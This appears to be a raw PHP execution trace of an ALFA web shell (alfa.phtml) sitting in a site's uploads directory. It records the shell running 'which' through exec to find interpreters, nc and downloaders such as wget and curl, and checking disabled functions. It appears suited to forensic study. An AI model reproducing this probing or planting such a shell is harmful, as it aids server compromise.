5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/make'
5	320	1	0.042406	2801776
5	320	R			'/usr/bin/make'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/make'
4	319	1	0.042431	2801696
4	319	R			13
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	325	0	0.042455	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'php'
5	326	0	0.042469	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which php'	FALSE	FALSE	???
6	327	0	0.042483	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which php'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	328	0	0.042508	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	328	1	0.042521	2801776
7	328	R			TRUE
7	329	0	0.042534	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which php'	''
7	329	1	0.043722	2802280
7	329	R			'/usr/bin/php'
7	330	0	0.043747	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/php']
7	330	1	0.043763	2802240
7	330	R			'/usr/bin/php'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/php'
6	327	1	0.043791	2801776
6	327	R			'/usr/bin/php'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/php'
5	326	1	0.043816	2801776
5	326	R			'/usr/bin/php'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/php'
4	325	1	0.043841	2801696
4	325	R			12
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	331	0	0.043864	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'perl'
5	332	0	0.043878	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which perl'	FALSE	FALSE	???
6	333	0	0.043893	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which perl'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	334	0	0.043917	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	334	1	0.043931	2801776
7	334	R			TRUE
7	335	0	0.043943	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which perl'	''
7	335	1	0.045151	2802280
7	335	R			'/usr/bin/perl'
7	336	0	0.045176	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/perl']
7	336	1	0.045193	2802240
7	336	R			'/usr/bin/perl'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/perl'
6	333	1	0.045220	2801776
6	333	R			'/usr/bin/perl'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/perl'
5	332	1	0.045246	2801776
5	332	R			'/usr/bin/perl'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/perl'
4	331	1	0.045271	2801696
4	331	R			13
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	337	0	0.045295	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'python'
5	338	0	0.045309	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which python'	FALSE	FALSE	???
6	339	0	0.045323	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which python'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	340	0	0.045352	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	340	1	0.045366	2801776
7	340	R			TRUE
7	341	0	0.045379	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which python'	''
7	341	1	0.046461	2801880
7	341	R			''
7	342	0	0.046485	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	342	1	0.046500	2801880
7	342	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	339	1	0.046526	2801736
6	339	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	338	1	0.046550	2801736
5	338	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	337	1	0.046573	2801696
4	337	R			FALSE
4	343	0	0.046586	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'ruby'
5	344	0	0.046600	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which ruby'	FALSE	FALSE	???
6	345	0	0.046615	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which ruby'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	346	0	0.046639	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	346	1	0.046653	2801776
7	346	R			TRUE
7	347	0	0.046666	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which ruby'	''
7	347	1	0.047670	2801880
7	347	R			''
7	348	0	0.047693	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	348	1	0.047708	2801880
7	348	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	345	1	0.047733	2801736
6	345	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	344	1	0.047757	2801736
5	344	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	343	1	0.047779	2801696
4	343	R			FALSE
4	349	0	0.047793	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'tar'
5	350	0	0.047807	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which tar'	FALSE	FALSE	???
6	351	0	0.047821	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which tar'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	352	0	0.047845	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	352	1	0.047859	2801776
7	352	R			TRUE
7	353	0	0.047872	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which tar'	''
7	353	1	0.048877	2802280
7	353	R			'/usr/bin/tar'
7	354	0	0.048901	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/tar']
7	354	1	0.048918	2802240
7	354	R			'/usr/bin/tar'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/tar'
6	351	1	0.048946	2801776
6	351	R			'/usr/bin/tar'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/tar'
5	350	1	0.048971	2801776
5	350	R			'/usr/bin/tar'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/tar'
4	349	1	0.048996	2801696
4	349	R			12
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	355	0	0.049020	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'gzip'
5	356	0	0.049033	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which gzip'	FALSE	FALSE	???
6	357	0	0.049048	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which gzip'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	358	0	0.049072	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	358	1	0.049086	2801776
7	358	R			TRUE
7	359	0	0.049099	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which gzip'	''
7	359	1	0.050314	2802280
7	359	R			'/usr/bin/gzip'
7	360	0	0.050348	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/gzip']
7	360	1	0.050366	2802240
7	360	R			'/usr/bin/gzip'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/gzip'
6	357	1	0.050395	2801776
6	357	R			'/usr/bin/gzip'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/gzip'
5	356	1	0.050430	2801776
5	356	R			'/usr/bin/gzip'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/gzip'
4	355	1	0.050455	2801696
4	355	R			13
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	361	0	0.050482	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'bzip'
5	362	0	0.050500	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which bzip'	FALSE	FALSE	???
6	363	0	0.050517	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which bzip'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	364	0	0.050549	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	364	1	0.050569	2801776
7	364	R			TRUE
7	365	0	0.050587	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which bzip'	''
7	365	1	0.052188	2801880
7	365	R			''
7	366	0	0.052221	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	366	1	0.052238	2801880
7	366	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	363	1	0.052265	2801736
6	363	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	362	1	0.052289	2801736
5	362	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	361	1	0.052313	2801696
4	361	R			FALSE
4	367	0	0.052328	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'bzialfa2'
5	368	0	0.052343	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which bzialfa2'	FALSE	FALSE	???
6	369	0	0.052358	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which bzialfa2'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	370	0	0.052383	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	370	1	0.052398	2801776
7	370	R			TRUE
7	371	0	0.052411	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which bzialfa2'	''
7	371	1	0.053722	2801880
7	371	R			''
7	372	0	0.053749	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	372	1	0.053764	2801880
7	372	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	369	1	0.053790	2801736
6	369	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	368	1	0.053814	2801736
5	368	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	367	1	0.053838	2801696
4	367	R			FALSE
4	373	0	0.053852	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'nc'
5	374	0	0.053866	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which nc'	FALSE	FALSE	???
6	375	0	0.053880	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which nc'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	376	0	0.053904	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	376	1	0.053919	2801776
7	376	R			TRUE
7	377	0	0.053932	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which nc'	''
7	377	1	0.055115	2802280
7	377	R			'/usr/bin/nc'
7	378	0	0.055142	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/nc']
7	378	1	0.055169	2802240
7	378	R			'/usr/bin/nc'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/nc'
6	375	1	0.055197	2801776
6	375	R			'/usr/bin/nc'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/nc'
5	374	1	0.055223	2801776
5	374	R			'/usr/bin/nc'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/nc'
4	373	1	0.055249	2801696
4	373	R			11
3		A						/var/www/html/uploads/alfa.phtml	1155	$x++
4	379	0	0.055275	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'locate'
5	380	0	0.055289	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which locate'	FALSE	FALSE	???
6	381	0	0.055304	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which locate'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	382	0	0.055328	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	382	1	0.055349	2801776
7	382	R			TRUE
7	383	0	0.055363	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which locate'	''
7	383	1	0.056543	2801880
7	383	R			''
7	384	0	0.056566	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	384	1	0.056582	2801880
7	384	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	381	1	0.056607	2801736
6	381	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	380	1	0.056631	2801736
5	380	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	379	1	0.056654	2801696
4	379	R			FALSE
4	385	0	0.056668	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1155	1	'suidperl'
5	386	0	0.056682	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which suidperl'	FALSE	FALSE	???
6	387	0	0.056696	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which suidperl'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	388	0	0.056721	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	388	1	0.056735	2801776
7	388	R			TRUE
7	389	0	0.056747	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which suidperl'	''
7	389	1	0.057941	2801880
7	389	R			''
7	390	0	0.057963	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	390	1	0.057978	2801880
7	390	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	387	1	0.058003	2801736
6	387	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	386	1	0.058026	2801736
5	386	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	385	1	0.058049	2801696
4	385	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	1161	$downloaders = [0 => 'wget', 1 => 'fetch', 2 => 'lynx', 3 => 'links', 4 => 'curl', 5 => 'get', 6 => 'lwp-mirror']
3		A						/var/www/html/uploads/alfa.phtml	1162	$x = 0
4	391	0	0.058100	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1163	1	'wget'
5	392	0	0.058117	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which wget'	FALSE	FALSE	???
6	393	0	0.058135	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which wget'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	394	0	0.058168	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	394	1	0.058187	2801776
7	394	R			TRUE
7	395	0	0.058206	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which wget'	''
7	395	1	0.059397	2802280
7	395	R			'/usr/bin/wget'
7	396	0	0.059421	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/wget']
7	396	1	0.059438	2802240
7	396	R			'/usr/bin/wget'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/wget'
6	393	1	0.059466	2801776
6	393	R			'/usr/bin/wget'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/wget'
5	392	1	0.059492	2801776
5	392	R			'/usr/bin/wget'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/wget'
4	391	1	0.059519	2801696
4	391	R			13
3		A						/var/www/html/uploads/alfa.phtml	1163	$x++
4	397	0	0.059543	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1163	1	'fetch'
5	398	0	0.059557	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which fetch'	FALSE	FALSE	???
6	399	0	0.059572	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which fetch'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	400	0	0.059597	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	400	1	0.059610	2801776
7	400	R			TRUE
7	401	0	0.059624	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which fetch'	''
7	401	1	0.061769	2801880
7	401	R			''
7	402	0	0.061797	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	402	1	0.061813	2801880
7	402	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	399	1	0.061839	2801736
6	399	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	398	1	0.061877	2801736
5	398	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	397	1	0.061913	2801696
4	397	R			FALSE
4	403	0	0.061936	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1163	1	'lynx'
5	404	0	0.061955	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which lynx'	FALSE	FALSE	???
6	405	0	0.061971	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which lynx'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	406	0	0.061996	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	406	1	0.062010	2801776
7	406	R			TRUE
7	407	0	0.062023	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which lynx'	''
7	407	1	0.063040	2801880
7	407	R			''
7	408	0	0.063064	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	408	1	0.063080	2801880
7	408	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	405	1	0.063105	2801736
6	405	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	404	1	0.063130	2801736
5	404	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	403	1	0.063163	2801696
4	403	R			FALSE
4	409	0	0.063178	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1163	1	'links'
5	410	0	0.063192	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which links'	FALSE	FALSE	???
6	411	0	0.063207	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which links'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	412	0	0.063232	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	412	1	0.063246	2801776
7	412	R			TRUE
7	413	0	0.063260	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which links'	''
7	413	1	0.064497	2801880
7	413	R			''
7	414	0	0.064529	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	414	1	0.064546	2801880
7	414	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	411	1	0.064572	2801736
6	411	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	410	1	0.064596	2801736
5	410	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	409	1	0.064620	2801696
4	409	R			FALSE
4	415	0	0.064634	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1163	1	'curl'
5	416	0	0.064648	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which curl'	FALSE	FALSE	???
6	417	0	0.064663	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which curl'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	418	0	0.064688	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	418	1	0.064702	2801776
7	418	R			TRUE
7	419	0	0.064715	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which curl'	''
7	419	1	0.066032	2802280
7	419	R			'/usr/bin/curl'
7	420	0	0.066061	2802176	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/curl']
7	420	1	0.066078	2802240
7	420	R			'/usr/bin/curl'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/curl'
6	417	1	0.066106	2801776
6	417	R			'/usr/bin/curl'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/curl'
5	416	1	0.066131	2801776
5	416	R			'/usr/bin/curl'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/curl'
4	415	1	0.066156	2801696
4	415	R			13
3		A						/var/www/html/uploads/alfa.phtml	1163	$x++
4	421	0	0.066182	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1163	1	'get'
5	422	0	0.066196	2801736	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which get'	FALSE	FALSE	???
6	423	0	0.066211	2801736	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which get'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	424	0	0.066235	2801736	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	424	1	0.066249	2801776
7	424	R			TRUE
7	425	0	0.066262	2801760	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which get'	''
7	425	1	0.067553	2801880
7	425	R			''
7	426	0	0.067576	2801816	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[]
7	426	1	0.067591	2801880
7	426	R			''
6		A						/var/www/html/uploads/alfa.phtml	763	$out = ''
6	423	1	0.067616	2801736
6	423	R			''
5		A						/var/www/html/uploads/alfa.phtml	744	$data = ''
5	422	1	0.067640	2801736
5	422	R			''
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = ''
4	421	1	0.067663	2801696
4	421	R			FALSE
4	427	0	0.067677	2801696	alfaWhich	1		/var/www/html/uploads/alfa.phtml	1163	1	'lwp-mirror'
5	428	0	0.067691	2801744	alfaEx	1		/var/www/html/uploads/alfa.phtml	2404	4	'which lwp-mirror'	FALSE	FALSE	???
6	429	0	0.067705	2801744	_alfa_php_cmd	1		/var/www/html/uploads/alfa.phtml	744	2	'which lwp-mirror'	FALSE
6		A						/var/www/html/uploads/alfa.phtml	758	$out = ''
7	430	0	0.067729	2801744	function_exists	0		/var/www/html/uploads/alfa.phtml	761	1	'exec'
7	430	1	0.067743	2801784
7	430	R			TRUE
7	431	0	0.067756	2801768	exec	0		/var/www/html/uploads/alfa.phtml	762	2	'which lwp-mirror'	''
7	431	1	0.068938	2802304
7	431	R			'/usr/bin/lwp-mirror'
7	432	0	0.068962	2802192	join	0		/var/www/html/uploads/alfa.phtml	763	2	'\n'	[0 => '/usr/bin/lwp-mirror']
7	432	1	0.068979	2802256
7	432	R			'/usr/bin/lwp-mirror'
6		A						/var/www/html/uploads/alfa.phtml	763	$out = '/usr/bin/lwp-mirror'
6	429	1	0.069007	2801792
6	429	R			'/usr/bin/lwp-mirror'
5		A						/var/www/html/uploads/alfa.phtml	744	$data = '/usr/bin/lwp-mirror'
5	428	1	0.069032	2801792
5	428	R			'/usr/bin/lwp-mirror'
4		A						/var/www/html/uploads/alfa.phtml	2404	$path = '/usr/bin/lwp-mirror'
4	427	1	0.069057	2801696
4	427	R			19
3		A						/var/www/html/uploads/alfa.phtml	1163	$x++
4	433	0	0.069083	2801696	function_exists	0		/var/www/html/uploads/alfa.phtml	1181	1	'get_magic_quotes_gpc'
4	433	1	0.069098	2801736
4	433	R			TRUE
4	434	0	0.069110	2801696	get_magic_quotes_gpc	0		/var/www/html/uploads/alfa.phtml	1181	0
4	434	1	0.069123	2801696
4	434	R			FALSE
3		A						/var/www/html/uploads/alfa.phtml	1181	$quotes = FALSE
3		A						/var/www/html/uploads/alfa.phtml	1181	$magic = '<span class="header_off">OFF</span>'
4	435	0	0.069159	2801696	Alfa_GetDisable_Function	1		/var/www/html/uploads/alfa.phtml	1183	0
5	436	0	0.069173	2801696	ini_get	0		/var/www/html/uploads/alfa.phtml	917	1	'disable_functions'
5	436	1	0.069188	2802176
5	436	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/alfa.phtml	917	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4		A						/var/www/html/uploads/alfa.phtml	918	$afa = '<span class="header_show_all">All Functions Accessible</span>'
5	437	0	0.069248	2802144	explode	0		/var/www/html/uploads/alfa.phtml	920	2	','	'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
5	437	1	0.069272	2804616
5	437	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
4		A						/var/www/html/uploads/alfa.phtml	920	$s = [0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	0	0.069338	2804544	array_unique	0		/var/www/html/uploads/alfa.phtml	921	1	[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
5	438	1	0.069370	2805912
5	438	R			[0 => 'pcntl_alarm', 1 => 'pcntl_fork', 2 => 'pcntl_waitpid', 3 => 'pcntl_wait', 4 => 'pcntl_wifexited', 5 => 'pcntl_wifstopped', 6 => 'pcntl_wifsignaled', 7 => 'pcntl_wifcontinued', 8 => 'pcntl_wexitstatus', 9 => 'pcntl_wtermsig', 10 => 'pcntl_wstopsig', 11 => 'pcntl_signal', 12 => 'pcntl_signal_get_handler', 13 => 'pcntl_signal_dispatch', 14 => 'pcntl_get_last_error', 15 => 'pcntl_strerror', 16 => 'pcntl_sigprocmask', 17 => 'pcntl_sigwaitinfo', 18 => 'pcntl_sigtimedwait', 19 => 'pcntl_exec', 20 => 'pcntl_getpriority', 21 => 'pcntl_setpriority', 22 => 'pcntl_async_signals', 23 => '']
